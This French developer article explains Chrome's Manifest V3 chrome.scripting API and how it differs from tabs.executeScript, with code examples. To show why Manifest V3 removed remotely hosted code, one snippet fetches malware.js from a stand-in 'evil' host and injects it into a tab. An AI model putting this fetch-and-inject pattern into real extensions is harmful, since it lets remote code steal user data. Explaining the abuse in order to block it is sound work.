Présentation de chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduit un certain nombre de modifications dans la plate-forme d'extensions de Chrome. Dans cet article, nous allons explorer les motivations et les modifications apportées par l'une des modifications les plus notables: l'introduction de l'API chrome.scripting.

Qu'est-ce que chrome.scripting ?

Comme son nom l'indique, chrome.scripting est un nouvel espace de noms introduit dans Manifest V3, responsable des fonctionnalités d'injection de script et de style.

Les développeurs qui ont déjà créé des extensions Chrome peuvent être familiarisés avec les méthodes Manifest V2 de l'API Tabs, comme chrome.tabs.executeScript et chrome.tabs.insertCSS. Ces méthodes permettent aux extensions d'injecter des scripts et des feuilles de style dans les pages, respectivement. Dans Manifest V3, ces fonctionnalités ont été déplacées vers chrome.scripting. Nous prévoyons d'étendre cette API avec de nouvelles fonctionnalités à l'avenir.

Pourquoi créer une API ?

Avec un changement comme celui-ci, l'une des premières questions qui tend à se poser est "pourquoi ?".

Plusieurs facteurs ont conduit l'équipe Chrome à décider d'introduire un nouvel espace de noms pour les scripts. Tout d'abord, l'API Tabs est un peu comme un tiroir à bazar pour les fonctionnalités. Deuxièmement, nous devions apporter des modifications non compatibles avec l'API executeScript existante. Troisièmement, nous savions que nous souhaitions étendre les fonctionnalités de script pour les extensions. Ensemble, ces préoccupations ont clairement défini la nécessité d'un nouvel espace de noms pour héberger les fonctionnalités de script.

Le tiroir à tout-va

L'un des problèmes qui préoccupe l'équipe Extensions depuis quelques années est que l'API chrome.tabs est surchargée. Lorsque cette API a été introduite pour la première fois, la plupart des fonctionnalités qu'elle proposait étaient liées au concept général d'un onglet de navigateur. Même à ce stade, il s'agissait d'un assortiment de fonctionnalités, et au fil des ans, cette collection n'a fait que croître.

Au moment de la publication de la version 3 du fichier manifeste, l'API Tabs a évolué pour couvrir la gestion de base des onglets, la gestion des sélections, l'organisation des fenêtres, la messagerie, le contrôle du zoom, la navigation de base, l'écriture de script et quelques autres fonctionnalités plus petites. Bien que tous ces éléments soient importants, ils peuvent être un peu déstabilisants pour les développeurs lorsqu'ils se lancent et pour l'équipe Chrome, qui gère la plate-forme et examine les demandes de la communauté des développeurs.

Un autre facteur qui complique la situation est que l'autorisation tabs n'est pas bien comprise. Bien que de nombreuses autres autorisations limitent l'accès à une API donnée (par exemple, storage), cette autorisation est un peu inhabituelle en ce sens qu'elle n'accorde à l'extension que l'accès aux propriétés sensibles sur les instances d'onglets (et par extension, elle affecte également l'API Windows). De manière compréhensible, de nombreux développeurs d'extensions pensent à tort qu'ils ont besoin de cette autorisation pour accéder aux méthodes de l'API Tabs, comme chrome.tabs.create ou, plus précisément, chrome.tabs.executeScript. La suppression de certaines fonctionnalités de l'API Tabs permet de clarifier cette confusion.

Modifications importantes

Lors de la conception de Manifest V3, l'un des principaux problèmes que nous voulions résoudre était les utilisations abusives et les logiciels malveillants activés par le "code hébergé à distance", c'est-à-dire le code exécuté, mais non inclus dans le package d'extension. Il est courant que les auteurs d'extensions abusives exécutent des scripts récupérés à partir de serveurs distants pour voler des données utilisateur, injecter des logiciels malveillants et échapper à la détection. Bien que les acteurs légitimes utilisent également cette fonctionnalité, nous avons finalement estimé qu'il était tout simplement trop dangereux de la laisser telle quelle.

Les extensions peuvent exécuter du code non groupé de différentes manières, mais la méthode chrome.tabs.executeScript de Manifest V2 est la plus pertinente ici. Cette méthode permet à une extension d'exécuter une chaîne de code arbitraire dans un onglet cible. Cela signifie qu'un développeur malveillant peut récupérer un script arbitraire à partir d'un serveur distant et l'exécuter sur n'importe quelle page à laquelle l'extension peut accéder. Nous savions que si nous voulions résoudre le problème de code à distance, nous devions abandonner cette fonctionnalité.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Nous souhaitions également résoudre d'autres problèmes plus subtils liés à la conception de la version Manifest V2 et faire de l'API un outil plus abouti et plus prévisible.

Bien que nous aurions pu modifier la signature de cette méthode dans l'API Tabs, nous avons estimé qu'une rupture nette serait plus facile pour tout le monde entre ces modifications destructives et l'introduction de nouvelles fonctionnalités (abordées dans la section suivante).

Élargir les fonctionnalités de script

Un autre élément pris en compte dans le processus de conception de Manifest V3 était le désir d'introduire des fonctionnalités de script supplémentaires dans la plate-forme d'extension de Chrome. Plus précisément, nous souhaitions prendre en charge les scripts de contenu dynamique et étendre les fonctionnalités de la méthode executeScript.

La prise en charge des scripts de contenu dynamiques est une fonctionnalité demandée depuis longtemps dans Chromium. Aujourd'hui, les extensions Chrome Manifest V2 et V3 ne peuvent déclarer de manière statique que des scripts de contenu dans leur fichier manifest.json. La plate-forme ne permet pas d'enregistrer de nouveaux scripts de contenu, de modifier l'enregistrement de scripts de contenu ni de les désenregistrer au moment de l'exécution.

Nous savions que nous voulions traiter cette demande de fonctionnalité dans le fichier manifeste V3, mais aucune de nos API existantes ne semblait adaptée. Nous avons également envisagé de nous aligner sur Firefox pour son API Content Scripts, mais nous avons très tôt identifié quelques inconvénients majeurs de cette approche. Tout d'abord, nous savions que nous aurions des signatures incompatibles (par exemple, l'abandon de la prise en charge de la propriété code). Deuxièmement, notre API comportait un ensemble différent de contraintes de conception (par exemple, un enregistrement devait persister au-delà de la durée de vie d'un service worker). Enfin, cet espace de noms nous limiterait également à la fonctionnalité de script de contenu, alors que nous envisageons les scripts dans les extensions de manière plus large.

En ce qui concerne executeScript, nous voulions également étendre les fonctionnalités de cette API au-delà de ce que la version de l'API Tabs prenait en charge. Plus précisément, nous voulions prendre en charge les fonctions et les arguments, cibler plus facilement des cadres spécifiques et cibler des contextes autres que "tab".

À l'avenir, nous réfléchissons également à la façon dont les extensions peuvent interagir avec les PWA installées et d'autres contextes qui ne correspondent pas conceptuellement aux "onglets".

Modifications entre tabs.executeScript et scripting.executeScript

Dans la suite de cet article, je vais examiner de plus près les similitudes et les différences entre chrome.tabs.executeScript et chrome.scripting.executeScript.

Injecter une fonction avec des arguments

En réfléchissant à la façon dont la plate-forme devait évoluer en fonction des restrictions de code hébergé à distance, nous avons voulu trouver un équilibre entre la puissance brute de l'exécution de code arbitraire et l'autorisation de scripts de contenu statiques uniquement. La solution que nous avons trouvée a consisté à autoriser les extensions à injecter une fonction en tant que script de contenu et à transmettre un tableau de valeurs en tant qu'arguments.

Prenons un exemple (trop simplifié). Supposons que nous souhaitions injecter un script qui salue l'utilisateur par son nom lorsqu'il clique sur le bouton d'action de l'extension (icône dans la barre d'outils). Dans le fichier manifeste V2, nous pouvions construire dynamiquement une chaîne de code et exécuter ce script dans la page actuelle.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Bien que les extensions Manifest V3 ne puissent pas utiliser de code qui n'est pas groupé avec l'extension, notre objectif était de préserver une partie du dynamisme que les blocs de code arbitraires permettaient aux extensions Manifest V2. L'approche des fonctions et des arguments permet aux examinateurs du Chrome Web Store, aux utilisateurs et aux autres personnes concernées d'évaluer plus précisément les risques qu'une extension présente, tout en permettant aux développeurs de modifier le comportement d'exécution d'une extension en fonction des paramètres utilisateur ou de l'état de l'application.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Cadres de ciblage

Nous souhaitions également améliorer la façon dont les développeurs interagissent avec les cadres dans l'API révisée. La version V2 du fichier manifeste de executeScript permettait aux développeurs de cibler tous les cadres d'un onglet ou un cadre spécifique de l'onglet. Vous pouvez utiliser chrome.webNavigation.getAllFrames pour obtenir la liste de tous les cadres d'un onglet.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Dans le fichier manifeste V3, nous avons remplacé la propriété entière frameId facultative dans l'objet d'options par un tableau d'entiers frameIds facultatif. Cela permet aux développeurs de cibler plusieurs cadres dans un seul appel d'API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Résultats de l'injection de script

Nous avons également amélioré la façon dont nous renvoyons les résultats d'injection de script dans Manifest V3. Un "résultat" est essentiellement l'instruction finale évaluée dans un script. Il s'agit de la valeur renvoyée lorsque vous appelez eval() ou exécutez un bloc de code dans la console Chrome DevTools, mais sérialisée afin de transmettre les résultats entre les processus.

Dans Manifest V2, executeScript et insertCSS renvoyaient un tableau de résultats d'exécution simples. Cela convient si vous n'avez qu'un seul point d'injection, mais l'ordre des résultats n'est pas garanti lors de l'injection dans plusieurs cadres. Il est donc impossible de savoir quel résultat est associé à quel cadre.

Pour un exemple concret, examinons les tableaux results renvoyés par une version Manifest V2 et une version Manifest V3 de la même extension. Les deux versions de l'extension injecteront le même script de contenu, et nous comparerons les résultats sur la même page de démonstration.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Lorsque nous exécutons la version Manifest V2, nous obtenons un tableau de [1, 0, 5]. Quel résultat correspond au frame principal et lequel à l'iFrame ? La valeur renvoyée ne nous indique pas cela, nous ne le savons donc pas avec certitude.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Dans la version V3 du fichier manifeste, results contient désormais un tableau d'objets de résultat au lieu d'un tableau contenant uniquement les résultats de l'évaluation. Les objets de résultat identifient clairement l'ID du frame pour chaque résultat. Les développeurs peuvent ainsi utiliser le résultat et prendre des mesures sur un frame spécifique beaucoup plus facilement.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusion

Les mises à jour de version du fichier manifeste constituent une occasion rare de repenser et de moderniser les API des extensions. Notre objectif avec Manifest V3 est d'améliorer l'expérience utilisateur finale en rendant les extensions plus sûres, tout en améliorant l'expérience pour les développeurs. En introduisant chrome.scripting dans Manifest V3, nous avons pu contribuer à nettoyer l'API Tabs, à repenser executeScript pour une plate-forme d'extensions plus sécurisée et à jeter les bases de nouvelles fonctionnalités de script qui seront disponibles plus tard cette année.